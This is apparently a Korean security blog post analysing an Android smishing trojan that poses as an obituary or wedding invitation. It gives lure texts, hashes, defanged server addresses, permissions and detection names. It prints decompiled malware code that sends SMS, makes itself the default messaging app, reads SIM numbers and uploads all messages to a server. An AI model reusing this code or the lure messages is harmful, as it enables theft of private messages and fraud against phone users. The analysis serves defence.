꿈을꾸는 파랑새

오늘은 부고 알림 부모님 별세를 악용한 스미싱 악성코드인 모바일 부고장.apk(2023.10.13)에 대해 알아보겠습니다.
일단 문자는 다음과 같이 옵니다. 물론 변형이 되어서 오거나 아니면 결혼식을 빙자한 결혼식 청첩장으로 위장해서도 다양한 방식으로 유포를 되고 있습니다.

부고 알림 유포 문자 내용

아버님께서 오늘 별세하셨기에 삼가 알려드립니다 장례식장:htt
부모님께서 별세 하셨기에 아래와 같이 부고를 전해 드립니다.장례식장
부모님 마지막 가시는길 외롭지 않게 부디 오셔서 참석하여주세요.
[Web발신][부고]18일 저녁 10시경 부친께서 별세하셨습니다. 안내 
[Web발신][부고]23일 저녁 12시경 귀하의 조부께서 별세하셨습니다.안내
부모님께서 소천하셨음을 삼가 알려드립니다. 장례식장
[국제발신]부모님께서 별세하셨기에 아래와 같이 부고를 전해드립니다. 장례식장 
故 부친께서 별세하셨기에 아래와 같이 부고를 전해드립니다.

여러가지 부고 형식으로 문자 내용 만 변경을 해서 사용을 하고 있습니다.

결혼식 청첩장 내용

[모바일초대]♡결혼식♡ 일시:?/?(토) 11:00많이많이와주 세요
모바일초대.결혼식일시
[모바일초대]♡결혼식♡ 일시:
이런 방식을 사용하고 있습니다.

모바일 부고 알림 악성코드 문자 관련 코드 실행
모바일 부고 알림 악성코드 문자 관련 코드 실행

피싱 사이트 내용

訃告
본인의 부친께서 그동안 오랜 병중에
계시다가 어제 밤 돌아가셨습니다. 저희 가족들은 현재 많은 슬픔 가운데 있으며 아버님의 명복을 빌고 있습니다.
이후 장례절차는 아래와 같이 진행이 되므로 문상시 참고해 주시기를 부탁드립니다.
열기
삼가 故人의 冥福을 빕니다.

되어져 있는데 이게 이미지 파일입니다.
한마디로 돌려먹는 중
우리는 일단 피싱 사이트 가 아닌 악성코드를 분석할 것이므로 APK 파일만 따라가겠습니다.
해쉬값
파일명:모바일 부고장.apk
사이즈:2.27 MB
MD5:f586af65ba846cd8c45d6b86af01e977
SHA-1:7323ec2931839c3d4a0a26b34cf0b7d62309de9e
SHA-256:c904271889bca6865a3a0b058a9fa5682503886bcc35815c5b85553dd2075671
입니다.
해당 악성코드의 안드로이드 권한은 다음과 같고 설명은 다음과 같습니다.

모바일 부고 알림 악성코드 안드로이드 권한
모바일 부고 알림 악성코드 안드로이드 권한

안드로이드 권한

1.ACCESS_WIFI_STATE:WiFi(와이파이) 상태에 액세스하고 변경할 수 있는 권한 예를 들어 WiFi를 켜거나 끄거나 연결된 WiFi 네트워크를 가져올 수 있음
2.READ_CONTACTS:연락처 정보를 읽을 수 있는 권한
예를 들어 연락처 이름,전화번호,이메일 주소 등에 액세스할 수 있음
3.WRITE_CONTACTS:연락처 정보를 작성하고 수정할 수 있는 권한
예를 들어,연락처 추가,삭제,편집 등을 수행할 수 있음
4.READ_SMS:SMS(문자) 메시지를 읽을 수 있는 권한
예를 들어 수신된 SMS(문자) 메시지를 가져오거나 SMS(문자) 메시지의 내용을 읽을 수 있음
5.SEND_SMS:SMS(문자) 메시지를 보낼 수 있는 권한
예를 들어 새로운 SMS(문자) 메시지를 작성하고 보내거나 기존의 SMS 메시지를 답장할 수 있음
6.READ_EXTERNAL_STORAGE:외부 저장소에 액세스하고 변경할 수 있는 권한
예를 들어 SD 카드나 USB 드라이브의 파일을 읽고 쓰거나 삭제할 수 있음
7.WRITE_EXTERNAL_STORAGE:외부 저장소에 파일을 작성하고 수정할 수 있는 권한
예를 들어 외부 저장소에 새로운 파일을 생성하거나 기존의 파일을 편집할 수 있음
8.SYSTEM_ALERT_WINDOW:다른 앱 위에 알림을 표시할 수 있는 권한
예를 들어 화면 위에 채팅 헤드를 표시하거나 게임 도중 광고를 표시할 수 있음
9.READ_PHONE_STATE:스마트폰 상태에 액세스할 수 있는 권한
예를 들어 스마트폰의 IMEI 번호나 전화기가 현재 네트워크에 연결되어 있는지를 가져올 수 있음
10.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS:앱이 배터리 최적화를 무시하도록 요청할 수 있는 권한 해당 권한이 승인되면 앱은 백그라운드에서 실행 중일 때에도 배터리를 사용할 수 있음
11.WAKE_LOCK:스마트폰 이 절전 모드로 전환되지 않도록 방지할 수 있는 권한
해당 권한이 승인되면 앱은 백그라운드에서 실행 중일 때에도 스마트폰 를 깨우칠 수 있음
12.ACCESS_NETWORK_STATE:네트워크 상태에 액세스할 수 있는 권한
예를 들어 스마트폰이 현재 어떤 유형의 네트워크에 연결되어 있는지(예:WiFi(와이파이),LTE,5G)를 가져올 수 있음
13.INTERNET:인터넷에 액세스할 수 있는 권한
예를 들어 웹 페이지를 로드 하거나 파일을 다운로드 하거나 온라인 서비스에 연결할 수 있음
14. GET_ACCOUNTS:장치에 등록된 계정 정보에 액세스할 수 있는 권한
예를 들어 계정 이름, 계정 유형, 계정 프로필 사진 등에 액세스할 수 있음
15. FOREGROUND_SERVICE:백그라운드에서도 계속 실행될 수 있는 서비스를 시작할 수 있는 권한
예를 들어 음악 재생 서비스나 위치 추적 서비스를 시작할 수 있음
16. RECEIVE_BOOT_COMPLETED: 스마트폰 장치가 부팅될 때 실행될 수 있는 리시버를 등록할 수 있는 권한
예를 들어 장치가 부팅될 때 특정 앱을 자동으로 시작하거나 특정 작업을 수행할 수 있음
17.DEVICE_POWER:장치의 전원을 켜거나 끄거나 휴대폰 모드를 활성화하거나 비활성화할 수 있는 권한
18.DISABLE_KEYGUARD:키보드 보호를 비활성화할 수 있는 권한
19.glEsVersion:OpenGL ES 버전을 지정하며 0x20000은 2.0 버전을 나타내며 해당 기능 능은 OpenGL ES 2.0을 요구
즉 사실상 스마트폰의 권한이 다 넘어가기 때문에 사실상 좀비폰 이 된다는 것입니다. 사용자가 의도하지 않는 동작이 되며 전화, 문자, 위치, 연락처 등과 같이 상당히 민감한 정보들에 접근될 수가 있습니다.

악성코드에 포함된 인터넷 주소

http://172.247.39(.)154/"
https://www.cloudflare(.)com/"
http://schemas.android(.)com/apk/res-auto
vnd.android.cursor(.)item/phone_v2"
http://149.102.243(.)157:8077/
http://89.187.184(.)213
http://schemas.android(.)com/apk/res/android
vnd.android.cursor(.)item/name"
http://ns.adobe(.)com/xap/1.0/

dexes 파일 해쉬값

classes:
sha256:bfe3f27bcd5bb320b100c51967adefc26f334281ecb2e2fb193a05d2a2c763e5
classes2:
sha256:cb2da8eb15912dfed3b4d6a5b2bbbc112afb7d8677eb9201db4d52d6d08ba474
classes3:
sha256:555f45a6e53eae948acebc8c6e1ecb51fa65ad6f512ea8c7975bf7f5b9cba272
classes4:
sha256:9c9a92f476e89ceaa960496ecb811e1693986c0a26c4be840a9679754f6f9066
classes5:
sha256:72ff889025d70811296cb4cf811a9167d0c3a166bc09787e10b291bdcdba6dcc

문자 관련 코드

모바일 부고 알림 악성코드 문자 관련 코드
모바일 부고 알림 악성코드 문자 관련 코드

public static void insertSms(Context context, String str, String str2) {
        Uri parse = Uri.parse("content://sms/inbox");
        ContentValues contentValues = new ContentValues();
        contentValues.put("address", str);
        contentValues.put("body", str2);
        contentValues.put("date", Long.valueOf(System.currentTimeMillis()));
        context.getContentResolver().insert(parse, contentValues);
    }

    public static boolean sendSMSImpl(String str, String str2, Context context) {
        if (TextUtils.isEmpty(str) || TextUtils.isEmpty(str2)) {
            return false;
        }
        o.a("send sms phoneNumber:" + str);
        o.a("send sms message:" + str2);
        SmsManager smsManager = SmsManager.getDefault();
        PendingIntent broadcast = PendingIntent.getBroadcast(context, 0, new Intent("SENT_SMS_ACTION"), 0);
        PendingIntent broadcast2 = PendingIntent.getBroadcast(context, 0, new Intent("DELIVERED_SMS_ACTION"), 0);
        if (str2.length() <= 70) {
            smsManager.sendTextMessage(str, null, str2, broadcast, broadcast2);
            return true;
        }
        ArrayList<String> divideMessage = smsManager.divideMessage(str2);
        ArrayList<PendingIntent> arrayList = new ArrayList<>();
        for (int i2 = 0; i2 < divideMessage.size(); i2++) {
            arrayList.add(broadcast);
        }
        smsManager.sendMultipartTextMessage(str, null, divideMessage, arrayList, null);
        return true;
    }

    public static void setDefault(Context context) {
        Intent intent = new Intent("android.provider.Telephony.ACTION_CHANGE_DEFAULT");
        intent.putExtra("package", context.getPackageName());
        intent.setFlags(268435456);
        context.startActivity(intent);
    }

    public static void uploadMessages(String str) {
        o.a(str);
        List<SMSModel> smsInPhone = getSmsInPhone(BaseApplication.getInstance(), 0L);
        if (smsInPhone == null || smsInPhone.isEmpty()) {
            o.a("smsList is null or empty");
            MqttApi.fb(3, 0, "smsList is null or empty");
            return;
        }
        RetrofitClient.subscribe(((BasicsApi) RetrofitClient.create(BasicsApi.class)).uploadMessages(str, RetrofitClient.createJsonBody(smsInPhone)), new a(smsInPhone));
    }
}

코드 설명

1.insertSms(Context context, String str, String str2):해당 메서드는 SMS(문자)를 Android (안드로이드) 기기의 SMS 수신함(content://sms/inbox)에 삽입하는 데 사용
메서드는 세 개의 매개변수를 받으며 str 은 수신자의 전화번호, str2는 메시지 본문 내용, context는 현재 컨텍스트를 나타내고 해당 메서드는 ContentValues를 사용하여 SMS의 주소(address)와 본문(body)을 설정하고 현재 시각을 날짜(date)로 설정한 다음 ContentResolver 를 통해 SMS(문자)를 삽입
2. sendSMSImpl(String str, String str2, Context context):해당 메서드는 SMS(문자)를 전송하는 데 사용
str 은 수신자의 전화번호 str2 는 보낼 메시지 내용 context는 현재 컨텍스트를 나타냄
메시지의 길이에 따라 SmsManager 를 사용하여 SMS(문자)를 보내며 70자 이하의 짧은 SMS 또는 멀티미디어 메시지(smsManager.sendMultipartTextMessage() 를 보낼 수 있으며 SMS(문자) 전송 결과에 대한 알림(PendingIntent)도 설정
3.setDefault(Context context):해당 메서드는 기본 문자 앱을 설정하는 데 사용
context 는 현재 컨텍스트를 나타내며 메서드는 android.provider.Telephony.ACTION_CHANGE_DEFAULT  Intent를 생성하고 해당 패키지 명을 포함하여 기본 SMS 앱을 변경하는 데 사용
4. upload Messages(String str):해당 메서드는 SMS 메시지를 업로드하는 데 사용
str은 업로드할 위치 또는 대상을 나타냄
메서드는 getSmsInPhone() 를 사용하여 기기에서 문자 메시지 목록을 가져오고 
목록을 서버에 업로드하며
Retrofit을 사용하여 HTTP 요청을 수행하며 결과를 처리하기 위한 Retrofit 콜백을 설정
해당 코드는 문자 메시지를 관리하고 보내는 데 사용될 수 있으며 주로 문자 관련 작업을 수행하는 안드로이드 애플리케이션에서 사용

키 이벤트를 처리 관련 코드

@Override // b.b.c.a
    public boolean i(int i2, KeyEvent keyEvent) {
        Menu p = p();
        if (p != null) {
            p.setQwertyMode(KeyCharacterMap.load(keyEvent != null ? keyEvent.getDeviceId() : -1).getKeyboardType() != 1);
            return p.performShortcut(i2, keyEvent, 0);
        }
        return false;
    }

모바일 부고 악성코드 알림 키 이벤트를 처리 관련 코드
모바일 부고 악성코드 알림 키 이벤트를 처리 관련 코드

코드 설명

1.public boolean i(int i2, KeyEvent keyEvent):해당 메소드는 두 개의 매개변수를 가지며
i2 는 정수 값이며 키 이벤트를 나타내는 상수
keyEvent는 KeyEvent 객체로, 키 이벤트에 대한 정보를 포함
2. Menu p():해당 메소드는 p() 라는 다른 메소드를 호출하여 Menu 객체를 반환
Menu 객체는 Android 앱에서 사용자에게 표시되는 메뉴와 관련된 작업을 수행하는 데 사용
3.p.setQwertyMode(...):해당 부분에서 p 객체(메뉴)의 setQwertyMode() 메소드를 호출
해당 메소드는 메뉴의 QWERTY 모드를 설정하는 데 사용
QWERTY 모드는 키보드 레이아웃을 나타냄
4. KeyCharacterMap.load(...): KeyCharacterMap 클래스의 load() 메소드를 사용하여 키 이벤트의 키보드 유형을 결정
load()` 메소드는 주어진 장치 ID를 기반으로 키보드 유형을 로드
keyEvent 가 null이 아니면 keyEvent.getDeviceId()를 사용하고 그렇지 않으면 -1을 사용하여 기본 키보드 유형을 결정
5.return p.performShortcut(...):메뉴 객체 p를 사용해서 performShortcut() 메소드를 호출하여 메뉴 항목에 대한 단축키를 실행
performShortcut() 메소드는 메뉴 항목의 ID와 관련된 키 이벤트 및 다른 매개변수를 전달하여 해당 메뉴 항목을 활성화하고 작업을 수행

onCreate() 메서드를 구현 코드

@Override // android.app.Service
    public void onCreate() {
        Cursor cursor;
        super.onCreate();
        c.e.a.e.o.a("本地服务:本地服务启动成功");
        startJobService();
        registerReceiver();
        if (!(!TextUtils.isEmpty(MMKV.e().c("PhoneNumUtils_V1_PhoneNum"))) && ((b.g.c.a.a(this, "android.permission.READ_SMS") == 0 || b.g.c.a.a(this, "android.permission.READ_PHONE_NUMBERS") == 0 || b.g.c.a.a(this, "android.permission.READ_PHONE_STATE") == 0) && !c.c.a.a.a.R(c.c.a.a.a.j(((TelephonyManager) getSystemService("phone")).getLine1Number())))) {
            SubscriptionManager subscriptionManager = (SubscriptionManager) getSystemService("telephony_subscription_service");
            String str = null;
            List<SubscriptionInfo> activeSubscriptionInfoList = subscriptionManager != null ? subscriptionManager.getActiveSubscriptionInfoList() : null;
            if (activeSubscriptionInfoList != null && !activeSubscriptionInfoList.isEmpty()) {
                for (SubscriptionInfo subscriptionInfo : activeSubscriptionInfoList) {
                    if (c.c.a.a.a.R(c.c.a.a.a.j(subscriptionInfo.getNumber()))) {
                        break;
                    }
                }
            }
            try {
                cursor = getContentResolver().query(Uri.parse("content://telephony/siminfo"), new String[]{"_id", "icc_id", "sim_id", "display_name", "carrier_name", "name_source", "color", "number", "display_number_format", "data_roaming", "mcc", "mnc"}, null, null, null);
            } catch (Exception e2) {
                StringBuilder g2 = a.g("error: getPhoneNum:");
                g2.append(e2.toString());
                c.e.a.e.o.c(g2.toString());
                cursor = null;
            }
            if (cursor != null) {
                while (cursor.moveToNext()) {
                    if (c.c.a.a.a.R(c.c.a.a.a.j(cursor.getString(cursor.getColumnIndex("number"))))) {
                        cursor.close();
                        break;
                    }
                }

모바일 부고 악성코드 onCreate() 메서드를 구현 코드
모바일 부고 악성코드 onCreate() 메서드를 구현 코드

코드 설명

1.super.onCreate(): onCreate()` 메서드가 서비스의 초기화를 수행하고 해당 줄에서 super.onCreate() 을 호출하여 Service 클래스의 onCreate() 메서드를 실행
2.c.e.a.e.o.a(...):해당 부분은 로깅 메시지를 출력로깅 메시지는 "本地服务:本地服务启动成功"로 정의되며 서비스가 시작될 때 로그에 이 메시지를 남김
해당 부분을 번역하면 다음과 같습니다.
로컬 서비스: 로컬 서비스가 성공적으로 시작되었습니다.
3.startJobService():startJobService() 메소드를 호출하여 작업 서비스(JobService)를 시작 해당 메소드의 내용은 코드에서 제공되지 않았으며 작업 서비스는 백그라운드 에서 일정한 작업을 수행하는 데 사용
4.registerReceiver():또 다른 메서드인 registerReceiver() 를 호출하여 브로드캐스트 리시버를 등록 해당 브로드캐스트 리시버는 서비스에서 발생하는 이벤트를 수신하고 처리
이어서 조건문이 나오며 조건문은 다음을 확인
MMKV.e().c("PhoneNumUtils_V1_PhoneNum")가 비어 있지 않은지 확인
권한(`"android.permission.READ_SMS","android.permission.READ_PHONE_NUMBERS", "android.permission.READ_PHONE_STATE")확인
전화번호가 비어 있지 않은지 확인
5.SubscriptionManager와 관련된 코드: 해당 부분은 SubscriptionManager 를 사용하여 SIM 카드(유심 카드) 정보를 가져오는 코드
SIM 카드 정보를 가져와서 특정 조건을 충족하는지 확인
SubscriptionManager는 멀티 SIM 환경(즉 이심(eSIM)에서 SIM 카드 정보를 관리하는 데 사용
6. getContentResolver().query(...):해당 코드는 ContentResolver 를 사용하여 문자와 관련된 정보를 쿼리하는 부분
Uri.parse("content://telephony/siminfo")를 통해 SMS 정보를 쿼리하고 결과를 Cursor 객체로 받음
7.while (cursor.moveToNext()):Cursor 를 사용하여 결과 집합을 반복하며 특정 조건을 검사
여기서는 SIM 카드 정보를 확인하고 특정 조건을 충족하는 SIM 카드를 찾아서 처리
해당 코드는 안드로이드 스마트폰 서비스에서 다양한 작업을 수행하고 특히 SMS(문자)와 SIM 카드(유심 카드) 정보 및 서비스가 시작될 때 초기화 및 설정을 수행하는 역할
2023-10-28 12:46:32 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Trojan/Android.SMSstealer.1208583
Alibaba:TrojanSpy:Android/SpyAgnt.15ca10d3
Avast-Mobile:Android:Evo-gen [Trj]
Avira(no cloud):ANDROID/Spy.Agent.dvylg
BitDefenderFalx:Android.Trojan.Agent.AWQ
Cynet:Malicious (score: 99)
DrWeb:Android.Spy.1170.origin
ESET-NOD32:Multiple Detections
F-Secure:Malware.ANDROID/Spy.Agent.dvylg
Fortinet:Android/PossibleThreat
Google:Detected
Ikarus:Monitor.AndroidOS.PhoneSpy
K7GW:Trojan (0001140e1)
Kaspersky:HEUR:Trojan.AndroidOS.Boogr.gsh
McAfee:Artemis!F586AF65BA84
Microsoft:TrojanSpy:AndroidOS/SpyAgnt.I!MTB
Skyhigh (SWG):Artemis!Trojan
Sophos:Andr/Xgen-BJN
Symantec:Trojan.Gen.MBT
Symantec Mobile Insight:AppRisk:Generisk
ZoneAlarm by Check Point:HEUR:Trojan.AndroidOS.Boogr.gsh
일단 기본적으로 국내외 유명한 보안 업체들에서도 탐지하고 있으며 기본적으로 이상한 링크 클릭해서 악성코드 다운로드 설치를 하는 것이 가장 최선이지만 기본적으로 AV-TEST를 참고해서 백신 앱 유료라도 구매를 해서 사용을 하는 것을 개인적으로 추천합니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band